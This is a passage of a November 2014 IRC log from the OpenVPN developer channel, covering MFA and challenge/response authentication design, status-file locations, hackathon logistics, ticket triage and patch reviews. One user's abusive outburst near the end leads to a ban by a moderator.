overview of how your MFA implementation works? 11:42 < srijanshetty> It's very much like user-pass, we've augmented the plaintext packet for key-method 2 and added additonal fields for mfa-username and mfa-password 11:43 < srijanshetty> We've tried to support three kinds of MFA - OTP, PUSH and USER-PASS 11:43 < srijanshetty> OTP only requires a password 11:43 < srijanshetty> PUSH requires nothing 11:43 < srijanshetty> and USER-PASS is the same 11:44 < srijanshetty> The server gives the credentials to the plugin 11:44 < srijanshetty> and the plugin responds with a '0' or '1' 11:44 < srijanshetty> and then we can proceed accordingly 11:45 <@dazo> right ... I just don't quite see why you need to change the wire-protocol ... with mfa-{username,password} fields 11:46 < srijanshetty> So, how do we obtain credentials then? 11:46 <@dazo> today, my employer uses OpenVPN with an OTP token .... I enter my username, then a passphrase I know is entered together with the OTP code, which goes into the password field 11:47 <@dazo> for challenge/response auth ... there's a mechanism currently only available via the management interface, I'd like to see that being used for MFA stuff instead - preferably enabling plug-in API to that functionality 11:47 < srijanshetty> Okay 11:48 < srijanshetty> By implementing MFA this way 11:48 < srijanshetty> We wanted to add mfa session resumption 11:48 <@dazo> as the challenge contains a descriptive message ("Please enter token code XYZ" .... or "Prepare your ID-token:BASE64-ENCODED-CHALLENGE-FOR-TOKEN") and then the client responds with a response back to the server 11:49 < srijanshetty> So, you're suggesting a plug-in API to the existing architecture present in the management interface? 11:49 <@dazo> yeah, exactly 11:50 <@dazo> because that's a very generic API ... which can be used for more auth methods and uses the same wire protocol 11:50 < srijanshetty> So, when does the MFA auth kick in? 11:51 < srijanshetty> When do we ask for MFA credentials in this case. 11:51 <@dazo> openvpn client connects to the server, the server responds with a "we need another auth round", and the server provides the challenge to the client 11:52 <@dazo> then the client responds to the client, and the server gives the final Accept/Reject to the auth 11:52 <@dazo> or ... it can ask for a third round of authentication 11:52 < srijanshetty> Wouldn't the connection timeout in such a case? 11:53 < srijanshetty> That was also one of the reason we decided to add mfa-{username, password} fields 11:53 <@dazo> If it does, we need to fix that ... but it shouldn't time out 11:54 <@dazo> as the openvpn server keeps an overview over all sessions and there state 11:54 <@dazo> (UDP, which is the preferred protocol is stateless on the network layer, so it basically depends on --keepalive settings) 11:57 <@dazo> having this said ... there are some patches also on the mailing list which is under review (I don't think we applied them yet), which also does enhances the authentication layer 11:57 * dazo looks for the patch 11:57 < srijanshetty> We'll merge with upstream as soon the patches are made 12:01 <@dazo> okay ... it's more connected to the TLS layer, but it provides session authentication based on an external authentication ... http://thread.gmane.org/gmane.network.openvpn.devel/8737 12:01 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:04 <@dazo> this basically allows you to do the authentication via for example a browser, then getting a session token which is given to the client and server ... and this external keying material provides enough information to trust the remote side and complete the TLS establishing 12:05 <@dazo> which could also be somewhat related to your mfa session resumption, I believe 12:05 < srijanshetty> Yes, it does 12:06 < srijanshetty> So, what happens once the client has this session token? 12:07 <@dazo> a plugin on the client feeds openvpn with the exported keying material ... which the SSL/TLS library adds to it's encryption calls 12:08 <@dazo> IIRC what Daniel said, this basically means that you can do a fairly safe SSL/TLS authentication without having any keys or certs on the client beforehand 12:10 <@dazo> (I don't recall right now, where this patch stands ... but syzzer has reviewed the SSL code and approved it, and I'm looking at the plug-in API side of it. So it is getting closer to be applied) 12:11 < srijanshetty> Okay 12:12 <@cron2> has anyone feature-ACKed it? Just because it can be done and the code is sane - will it ever be used, as in "can mere mortals understand what is needed to make it work"? 12:12 <@dazo> so ... I actually think much of what you propose with your MFA work overlaps a great deal with challenge/response auth + this patch ... unless I've misunderstood things very badly (which happens far too often ;-)) 12:13 <@dazo> cron2: well, I'm going to use some of that code for the kerberos support ... to enable channel binding in the GSSAPI layer 12:13 <@dazo> (and with IAKERB, the OpenVPN server will proxy the authentication data from the client to the KDC) 12:13 <@cron2> don't forget to add documentation that mere mortals can use to make it work :) (and as far as crypto goes, I'm in that list) 12:14 <@dazo> agreed! 12:14 -!- mattock is now known as mattock_afk 12:14 * dazo makes a note of that for Daniel 12:17 < shivanshu> dazo, initially while discussing how to implement MFA, we discussed whether we could use the existing challenge response protocol. 12:18 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 12:18 -!- srijanshetty [~srijanshe@14.139.38.11] has quit [Ping timeout: 240 seconds] 12:18 < shivanshu> But we looked at where password authentication was happening which is while the TLS tunnel key material is being exchanged and if server sends the challenge and waits for client to enter the token/passphrase, it can timeout while the user is entering passphrase 12:18 < shivanshu> at lest that is what we understood 12:19 <@dazo> shivanshu: I'd rather fix that, if that is a problem, then to re-invent everything and implement something completely different 12:20 < shivanshu> dazo, I thought timeout was there for some reason which we did not know.. I think we can find a way around that 12:21 <@dazo> At the point where challenge-response is initiated, there is an established connection. And openvpn is fairly resistant to connection drops and timeouts, if configured correctly 12:22 <@dazo> While doing the challenge-response, iirc, the TLS part has completed, but due to OpenVPN not having completed the user authentication, it won't push any network configuration or allow any tunnel data to pass through the connection 12:23 <@dazo> (I think in this case, the timeout is 60 seconds by default) 12:26 <@dazo> If 60 seconds is too little, we can discuss how to improve that. But 60 seconds is a really long time for a client to respond, tbh. 12:30 -!- srijanshetty [~srijanshe@14.139.38.11] has joined #openvpn-devel 12:32 < shivanshu> dazo, hmmm. it seems fair. We will look a bit more into it. Thanks for helping 12:33 <@dazo> you're welcome! 12:36 <@dazo> btw ... I've looked through your commits now ... I'd like to see more stricter commits, where the commit subject gives a better idea what the commit does and the body part of the commit message being more verbose and explaining it far better - not technically (we have the code), but more functionally ("This patch improves.....", "This change enables us to do .....", etc) 12:37 <@dazo> and the last thing ... I saw some variables were moved from ssl.c to ssl.h ... which is fine when needed, but consider to do those changes more incrementally 12:37 <@dazo> the commits can also be done smaller (but ensure they do compile as much as possible) ... which helps debugging a lot (using git bisect, for example) 12:39 < shivanshu> we will keep that in mind :) 12:40 <@dazo> anyhow, great work! And don't be afraid to come here to ask for advice before pushing out new changes ... we don't mind disucssing patches on pastebins when it is work in progress ;-) 13:43 -!- dazo is now known as dazo_afk 14:42 -!- srijanshetty [~srijanshe@14.139.38.11] has quit [Quit: Leaving] 14:45 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 16:29 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] 18:12 -!- novaflash is now known as novaflash_away 20:16 -!- novaflash_away is now known as novaflash 20:16 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 20:18 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 20:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:36 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 20:38 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 20:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:00 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 272 seconds] 22:09 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 22:09 -!- mode/#openvpn-devel [+o pekster_] by ChanServ 22:12 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 272 seconds] 22:12 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 22:12 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 272 seconds] 22:12 -!- kef [~kef@matrix.fullmotion.de] has quit [Ping timeout: 272 seconds] 22:13 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:14 -!- kef [~kef@matrix.fullmotion.de] has joined #openvpn-devel 22:21 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Thu Nov 13 2014 00:25 -!- pekster_ is now known as pekster 03:06 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:15 -!- dazo_afk is now known as dazo 05:02 <@vpnHelper> RSS Update - tickets: #479: Ensure documentation recommends using /var/log for --status files <https://community.openvpn.net/openvpn/ticket/479> 05:22 <@plaisthos> dazo: Debian disagrees with you :) 05:23 <@dazo> plaisthos: on the SELinux policy? Or documentation? 05:23 <@dazo> plaisthos: I know the debian maintainer, he can be lured into submission ;-) 05:26 <@plaisthos> dazo: on the path of the status file 05:26 <@plaisthos> /usr/sbin/openvpn --writepid /run/openvpn/tcp-80.pid --daemon ovpn-tcp-80 --status /run/openvpn/tcp-80.status 10 --cd /etc/openvpn --config /etc/openvpn/tcp-80.conf --script-security 2 05:26 <@plaisthos> is what I get from starting openvpn with a tcp-80.conf 05:26 <@dazo> hmmm ... interesting place 05:27 <@dazo> well, that's not a bad place either ... but if Debian have enabled SELinux, their policy should then have the proper label ... and nothing would go wrong 05:27 <@dazo> that's Debian with systemd? 05:28 <@dazo> Their official OpenVPN howto uses logs/openvpn-status.log ... https://wiki.debian.org/OpenVPN 05:28 <@vpnHelper> Title: OpenVPN - Debian Wiki (at wiki.debian.org) 05:29 <@dazo> (however, this config is probably wrong again ... https://wiki.debian.org/openvpn%20for%20server%20and%20client ) 05:29 <@vpnHelper> Title: openvpn for server and client - Debian Wiki (at wiki.debian.org) 05:30 <@dazo> I think that OpenVPN upstream should use /var/log as the default location for all kind of log/status files ... and never have config examples writing data to /etc 05:31 <@dazo> what distros change (according to default init script/unit files) is a different issue, but those maintainers usually know better how to make things work properly than a random user reading our docs 05:31 <@plaisthos> yeah 05:31 <@plaisthos> But I kind of feel that /var/run is the better place 05:31 <@plaisthos> it is not really a logfile 05:32 <@plaisthos> that is more or less append only 05:32 <@dazo> fair point 05:33 <@dazo> I can of course help out getting Fedora on the right track too, but I wonder what will happen with other SELinux based distros (unless I can get a generic policy change upstream) 05:34 <@plaisthos> no idea about SELinux politics ;) 05:35 <@dazo> Me neither, but I know whom to ask :) 05:48 <@dazo> Okay, we just need to file a BZ against the selinux-policy package in Fedora, and some RH people working with SELinux upstream will help getting it to all other distros by default ... so we just need agree first where we want it :) 05:56 <@cron2> dazo: run files do not go to .../log/... -> I'm with plaisthos here, /var/run/ for pid files etc., /var/log/ for, well, logs 05:56 <@dazo> agreed! 05:57 <@cron2> for the status file, it's somewhat inbetween, but I tend to /var/run/ there as well - "log" is "append only", while the status file is rewritten 05:57 <@dazo> I just started the discussion with what looked like a common practice 05:57 <@dazo> makes sense! 05:57 <@cron2> anyway, topic change. Dazo, mattock, d12fk, when will you arrive tomorrow? 05:57 * dazo updates the ticket right now :) 05:58 <@cron2> I intended to be here at 9am, but kids have issues with Kindergarten, and Important Meetings Need Happen tomorrow, so I won't make it before 10:30 or so 05:58 <@cron2> (food and beer is already here, though) 06:00 <@dazo> My plane should land 12:20 ... but there might be some delays (the air control in Norway is doing some changes these days and have warned that some departures may be delayed due to that) ... and then it's the travel time to the hotel, check-in and walk over to your office 06:00 <@cron2> dazo: ok, your covered then :) - that will not be "before I'm here" 06:00 <@dazo> :) 06:01 <@cron2> mattock arrives today, need to catch him tonight. leaves d12fk... hope he'll just read it (or call). But my colleages on-site will know what to do 06:01 <@dazo> kick them out? 06:01 <@dazo> ;-) 06:05 <@plaisthos> I am probably the first to arrive 06:05 <@plaisthos> oh 06:05 <@plaisthos> the first on friday ;) 06:05 <@plaisthos> scrap that 06:06 <@plaisthos> half of the people could be there before me 06:06 <@dazo> :) 06:11 <@cron2> plaisthos: *g* 06:11 <@cron2> anyway, if one of you arrives before me, my colleagues will point him in, guest netz is patched and active, 06:11 <@cron2> and I'll show up eventually 06:17 <@plaisthos> :) 06:17 <@plaisthos> I will probably go the hotel first 06:18 <@plaisthos> train arrives at 11:30, so proably I probably arrive around 12:30-13:00 10:24 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:54 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 11:57 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 11:58 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:05 -!- dazo is now known as dazo_afk 12:40 < lev__> so, what time it makes sense to be there? My hotel is on Landsberg 117, quite close 12:49 <@cron2> lev__: when do you arrive? 12:51 <@cron2> lev__: I'll be on-site at about 10:30 (Friday), the other folks arrive "at noon or so" 12:52 < lev__> just arrived to the hotel 12:53 < lev__> ok, so I'll be there at 10.30. Now have to find something to eat. 12:55 <@cron2> lev__: the streets south of landsberger are full of small food places, and most I've tried so far has been reasonably good :-) 12:55 <@cron2> (given that my desk used to be in landsberger 155 for 2-3 years...) 17:14 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 240 seconds] 21:45 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 255 seconds] 21:45 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 265 seconds] 21:46 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 21:46 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 21:46 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Fri Nov 14 2014 00:27 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 244 seconds] 00:30 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 00:30 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:03 -!- Eagle_Erwin [~Erwin@codeserver.student.utwente.nl] has quit [Ping timeout: 255 seconds] 03:42 <@cron2> mornin 03:42 * cron2 is on-site now 04:11 -!- mattock_afk is now known as mattock 04:57 <@cron2> our build system is soooo broken 04:58 <@cron2> like, "download a .zip for tap-windows, and then forgot which one you downloaded and unpack *ALL* it can find in sources/" (failing, then) 05:27 <@cron2> !git 05:27 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png or 05:27 <@vpnHelper> (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 06:32 <@cron2> socket.c: In function 'socket_recv_queue': 06:32 <@cron2> socket.c:3106:45: error: 'struct link_socket_addr' has no member named 'local' 06:32 <@cron2> make[3]: *** [socket.o] Error 1 06:32 <@mattock> I'll amuse myself for a while by reviewing Trac bug reports 06:38 <@cron2> mattock: any idea how the two spammers got in last week? 06:38 <@mattock> no 06:38 <@mattock> I noticed the same 06:40 <@mattock> cron2: updates to build.vars and build-complete.vars pushed 06:40 <@cron2> thanks :) 07:08 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 07:36 <@vpnHelper> RSS Update - tickets: #480: [PATCH] Openvpn with crytpodev on FreeBSD does not work <https://community.openvpn.net/openvpn/ticket/480> 08:02 <@mattock> cron2: added stuff to "results" section here: https://community.openvpn.net/openvpn/wiki/MunichHackathon2014 08:02 <@vpnHelper> Title: MunichHackathon2014 – OpenVPN Community (at community.openvpn.net) 08:02 <@cron2> mattock: thanks 08:06 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 245 seconds] 08:21 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 08:31 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 240 seconds] 08:32 -!- dazo_afk is now known as dazo 08:32 <@cron2> dazo: welcome :) 08:32 <@dazo> :) 08:43 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 08:46 <@cron2> *** Error in `../src/openvpn/openvpn': malloc(): memory corruption: 0x080e7680 *** 08:46 <@cron2> mmmh 08:48 <@mattock> d12fk: care to have a look at this: https://community.openvpn.net/openvpn/ticket/449 08:48 <@vpnHelper> Title: #449 (Fail to start openvpn-gui.exe due to liblzo2-2.dll dependency when not checked while installation) – OpenVPN Community (at community.openvpn.net) 08:59 <@mattock> d12fk: does the interactive service stuff help with this: https://community.openvpn.net/openvpn/ticket/444 09:00 <@vpnHelper> Title: #444 (openvpnsrv.exe not detecting death of openvpn.exe) – OpenVPN Community (at community.openvpn.net) 09:00 <@ecrist> mattock - I closed #447 09:02 <@cron2> yeah, if the original reporter cannot be bothered to come back... 09:03 <@ecrist> right. I put the work in to attempt a fix and they didn't bother to reply. 09:16 <@mattock> ecrist: ok, thanks! 09:16 <@mattock> dazo: how about closing this one: https://community.openvpn.net/openvpn/ticket/437 09:16 <@vpnHelper> Title: #437 (systemd: cannot enter password on stdin as client) – OpenVPN Community (at community.openvpn.net) 09:18 <@dazo> mattock: agreed! close it ... it's a build issue on that installation ... openvpn got the support 09:18 <@mattock> dazo: closing 09:47 -!- mattock is now known as mattock_afk 09:52 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 272 seconds] 10:13 -!- mattock_afk is now known as mattock 10:23 <@vpnHelper> RSS Update - gitrepo: Add --tls-version-max <https://github.com/OpenVPN/openvpn/commit/6cb15b908a64b69b715fa8b2d60c71c6d9d3f9fc> 10:23 <@mattock> wow, progress :) 10:23 <@cron2> yes! 10:24 <@mattock> did you guys agree on the systemd approach? 10:24 <@cron2> we dropped the topic :) 10:26 <@mattock> mopping it under the floor is also one option 10:26 <@mattock> :P 10:26 <@mattock> sorry, under the carpet 10:26 <@mattock> there it will be found again later 10:35 <@mattock> plaisthos: did you get an email from Trac? I assigned one ticket to you 11:04 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] 11:06 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 11:06 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 11:29 -!- dazo is now known as dazo_afk 11:42 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] 11:46 -!- mattock is now known as mattock_afk 12:22 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 12:22 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 12:41 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 12:57 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 12:57 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:15 -!- kef [~kef@matrix.fullmotion.de] has left #openvpn-devel [] 16:32 -!- mattock_afk is now known as mattock 17:04 -!- mattock is now known as mattock_afk --- Day changed Sat Nov 15 2014 01:18 -!- mattock_afk is now known as mattock 02:03 -!- mattock is now known as mattock_afk 02:38 <@cron2> mornin' folks :) 03:17 -!- mattock_afk is now known as mattock 03:52 <@andj> mornin' 03:53 -!- dazo_afk is now known as dazo 03:56 <@dazo> http://en.wikipedia.org/wiki/Indent_style#K.26R_style 03:57 <@vpnHelper> Title: Indent style - Wikipedia, the free encyclopedia (at en.wikipedia.org) 04:32 <@dazo> plaisthos: you got astyle available on osx? 04:35 <@plaisthos> dazo: probably in ports 04:52 <@dazo> Local variables: 04:52 <@dazo> c-basic-offset: 8 04:52 <@dazo> indent-tabs-mode: y 04:52 <@dazo> End: 04:53 <@dazo> ---- 04:53 <@dazo> lets try again: 04:53 <@dazo> Local variables: 04:53 <@dazo> c-basic-offset: 8 04:53 <@dazo> indent-tabs-mode: y 04:53 <@dazo> End: 04:53 <@dazo> lets try again: 04:53 <@dazo> /* 04:53 <@dazo> Local variables: 04:53 <@dazo> c-basic-offset: 8 04:53 <@dazo> indent-tabs-mode: y 04:53 <@dazo> End: 05:07 <@cron2> "8" sounds like "more than 4" 05:24 -!- mattock is now known as mattock_afk 05:33 -!- dazo is now known as dazo_afk 06:18 -!- dazo_afk is now known as dazo 06:23 -!- mattock_afk is now known as mattock 06:29 <@mattock> it seems this patch is still waiting for review: http://article.gmane.org/gmane.network.openvpn.devel/9168 06:29 <@vpnHelper> Title: Gmane -- PATCH Modernize sample keys and sample configs (at article.gmane.org) 06:30 <@mattock> merging this would close https://community.openvpn.net/openvpn/ticket/400 06:30 <@vpnHelper> Title: #400 (Please update sample certs to use sha1 or better) – OpenVPN Community (at community.openvpn.net) 06:42 <@dazo> mattock: syzzer regarding that patch ... wouldn't it be far better if we replace the keys with a Makefile.am modification which will generate the keys on-the-fly? 06:42 <@dazo> (instead of shipping keying material through the repo) 06:43 <@dazo> ... 06:43 <@dazo> ... 06:43 <@dazo> This must be wrong .... or? 06:43 <@dazo> ret = fopen ("/dev/tty", write ? "w" : "r"); 06:43 <@dazo> if (!ret) 06:43 <@dazo> ret = write ? stderr : stdin; 06:43 <@dazo> (write is a bool) 06:43 <@cron2> dazo: why? 06:43 <@mattock> dazo: the official tarballs would then contain a standard set of certs which would be different in every release, right? 06:43 <@dazo> cron2: write ? "w" : "r" vs write ? stderr : stdin 06:44 <@dazo> I'd expect: write ? stdin : stderr 06:44 <@cron2> write -> stderr, and "w" makes sense to me 06:44 <@cron2> you do not write to stdin 06:44 <@dazo> if write == true, you want to read input from the user ... 06:44 <@dazo> and if fopen() fails .... ret should be stdin, not stderr, right? 06:45 <@cron2> but then you shouldn't open /dev/tty mode "w" 06:45 <@dazo> duh! 06:45 <@cron2> write means "write", obviously :) 06:45 <@dazo> write.... err... right! ;-) 07:27 <@mattock> d12fk: "you're right, the bug has to be fixed!" (source: https://community.openvpn.net/openvpn/ticket/384) 07:27 <@vpnHelper> Title: #384 (OpenVPN-GUI : password defaults to RTL (right-to-left)) – OpenVPN Community (at community.openvpn.net) 07:44 < lev__> https://github.com/stipa/openvpn/commit/590dd8c25d64af6ae4f1c888281b0b7343089500 07:44 <@vpnHelper> Title: Peer-id patch v5 · 590dd8c · stipa/openvpn · GitHub (at github.com) 09:20 <@mattock> syzzer: your patch looks good... I tested the key generation script with /bin/bash and /bin/dash on Linux, and using /bin/sh on FreeBSD -> no breakage 09:20 <@mattock> the rest of the patch looked fine, too 09:24 <@mattock> I'll mention this on the ml 09:29 <@mattock> ack sent 09:44 -!- dazo is now known as dazo_afk 10:52 <@mattock> james has quite a few bugs to tackle: https://community.openvpn.net/openvpn/query?owner=jamesyonan&status=accepted&status=assigned&status=new&status=reopened&order=priority 10:52 <@vpnHelper> Title: Custom Query – OpenVPN Community (at community.openvpn.net) 10:58 <@vpnHelper> RSS Update - gitrepo: Modernize sample keys and sample configs <https://github.com/OpenVPN/openvpn/commit/13b2313ace9797fc6b6ba8980ae592c930e16ee9> 11:14 -!- dazo_afk is now known as dazo 11:39 -!- mattock is now known as mattock_afk 11:46 -!- dazo is now known as dazo_afk 12:28 -!- seventyseven [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 12:28 -!- mode/#openvpn-devel [+v seventyseven] by ChanServ 13:00 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 265 seconds] 13:00 -!- awestin1 [sid20967@gateway/web/irccloud.com/x-mhvbsvdikyptdpuk] has quit [Ping timeout: 265 seconds] 13:00 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 265 seconds] 13:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 13:05 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 265 seconds] 13:07 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 13:07 -!- mode/#openvpn-devel [+o pekster] by ChanServ 13:07 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 13:10 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn-devel 14:05 -!- Netsplit *.net <-> *.split quits: kang --- Log closed Sat Nov 15 14:11:01 2014 --- Log opened Sat Nov 15 14:16:29 2014 14:16 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 14:16 -!- Irssi: #openvpn-devel: Total of 19 nicks [7 ops, 0 halfops, 4 voices, 8 normal] 14:16 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 14:16 -!- Irssi: Join to #openvpn-devel was synced in 3 secs 14:17 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:18 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 14:18 -!- dazo_afk is now known as dazo 14:42 -!- yeik [~jeff@2601:b:5a00:1291:f970:eb9b:7656:c02d] has joined #openvpn-devel 16:07 -!- yeik [~jeff@2601:b:5a00:1291:f970:eb9b:7656:c02d] has quit [Ping timeout: 265 seconds] 16:44 -!- dazo is now known as dazo_afk 16:56 -!- mattock_afk is now known as mattock 17:39 -!- mattock is now known as mattock_afk 18:22 -!- seventyseven is now known as debbie10t 18:37 -!- debbie10t is now known as seventyseven --- Day changed Sun Nov 16 2014 03:19 -!- mattock_afk is now known as mattock 03:55 -!- lev__ [~lev@stipakov.com] has joined #openvpn-devel 03:58 -!- dazo_afk is now known as dazo 04:57 -!- dazo is now known as dazo_afk 05:58 -!- dazo_afk is now known as dazo 05:59 <@dazo> plaisthos: what's the background for the last patch of yours? 05:59 <@dazo> "Remove possibility of using --secret with non OpenVPN Static key files" 06:04 <@mattock> list of tickets aimed for 2.4: https://community.openvpn.net/openvpn/query?status=accepted&status=assigned&status=new&status=reopened&milestone=release+2.4&col=id&col=summary&col=status&col=type&col=priority&col=milestone&col=component&order=priority 06:04 <@vpnHelper> Title: Custom Query – OpenVPN Community (at community.openvpn.net) 06:15 <@vpnHelper> RSS Update - tickets: #325: Windows: Lacking ASLR and DEP support <https://community.openvpn.net/openvpn/ticket/325> 06:29 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2014-11-24 06:29 <@vpnHelper> Title: Topics-2014-11-24 – OpenVPN Community (at community.openvpn.net) 06:35 <@mattock> https://community.openvpn.net/openvpn/wiki/SecurityOverview 06:35 <@vpnHelper> Title: SecurityOverview – OpenVPN Community (at community.openvpn.net) 07:05 <@dazo> cron2: getting d12fk's interactive service tree .... 07:05 <@dazo> git remote add d12fk git://git.code.sf.net/p/openvpn-gui/openvpn 07:05 <@dazo> git fetch d12fk 07:05 <@dazo> git co -b interactive_service d12fk/interactive_service 07:06 <@dazo> git push $REPO interactive_service 07:06 <@dazo> REPO can be stable,testing,github ..... 07:11 <@d12fk> dazo: I'd rather keep it in my repo for now as i expect many changes to happen not sure if i'll not just rebase along the way >=) 07:22 -!- dazo is now known as dazo_afk 07:25 <@d12fk> cron2: https://git.netfilter.org/libmnl/tree/src 07:25 <@vpnHelper> Title: libmnl - libmnl tree (at git.netfilter.org) 07:26 -!- dazo_afk is now known as dazo 07:28 <@mattock> today's quote from cron2: "The option parser (option.c) is a mass of pure magic, with a bit of madness woven into it." 08:24 <@mattock> https://community.openvpn.net/openvpn/ticket/411 08:24 <@vpnHelper> Title: #411 (Does not actually randomize DNS results) – OpenVPN Community (at community.openvpn.net) 08:43 -!- dazo is now known as dazo_afk 08:43 -!- mattock is now known as mattock_afk 09:19 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 09:19 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 09:22 <@syzzer> cron2: what was the status of the 'modernize keys' patch for 2.3? 09:57 <@syzzer> lev__: I finished the 'stare at code' part of the review. If you fix the last few things, I think I'm fine with it as far as staring at it goes. Any news on the assert? 12:00 <@plaisthos> Nov 16 19:00:13 hermes ovpn-udp-v6[1939]: ::ffff:217.92.14.231 peer info: IV_GUI_VER=de.blinkt.openvpn_0.6.21__ 12:00 <@plaisthos> this happens with an umlaut in the version :) 12:13 <@cron2> syzzer: modernize keys - doesn't cherry-pick as is, but the conflicts seem to be fairly harmless. Need to look more closely, was tired :-) 12:14 <@cron2> syzzer: regarding lev__'s patch - we found a glaring bug this afternoon :-) (the "is it authenticated?" check wasn't fully right, so it was believing peer-id's just fine and we had two clients kicking each other out of the same peer-id slot all the time) 12:14 <@cron2> "new patch coming" 14:36 <@ecrist> with the socks5 proxy options, does "auto" work in place of an auth file to pull creds from management port? 19:52 <+seventyseven> @eugene 19:53 <+seventyseven> your fkn jokin right 19:53 <+seventyseven> muppet 19:55 <+seventyseven> did you even read evolution ? 19:58 <+seventyseven> i read the rules .. did ypou 20:13 <+seventyseven> here we go again 20:13 <+seventyseven> thumberlina dont like the burn 20:13 <+seventyseven> burn bitch 20:14 <+seventyseven> and die in fkn hell 20:14 <+seventyseven> and fukn quote me on that 20:14 <+seventyseven> kick me .. bann me 20:14 <@pekster> Yes, clearly 20:14 -!- mode/#openvpn-devel [+b *!*debbie10t@openvpn/community/support/debbie10t] by pekster 20:14 -!- seventyseven was kicked from #openvpn-devel by pekster [seventyseven] 20:17 -!- mode/#openvpn-devel [+b-b *!*debbie10t@* *!*debbie10t@openvpn/community/support/debbie10t] by pekster 20:18 -!- mode/#openvpn-devel [+b $a:m10t] by pekster 20:18 <@pekster> Yea, That was the magic syntax --- Day changed Mon Nov 17 2014 02:30 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:30 -!- mattock_afk is now known as mattock 02:37 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 02:47 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:27 < lev__> syzzer: no news on assert. Server has been running for 18hrs with several clients. I'll get some more and wait for at least one more day to see if something bad happens. 03:30 < lev__> syzzer: I have fixed thing you've mentioned and peer-id check regression in my github repo (except generate_prefix, which can be a separate patch?) https://github.com/stipa/openvpn/commits/peer-id 03:30 <@vpnHelper> Title: Commits · stipa/openvpn · GitHub (at github.com) 03:49 -!- mattock is now known as mattock_afk 04:06 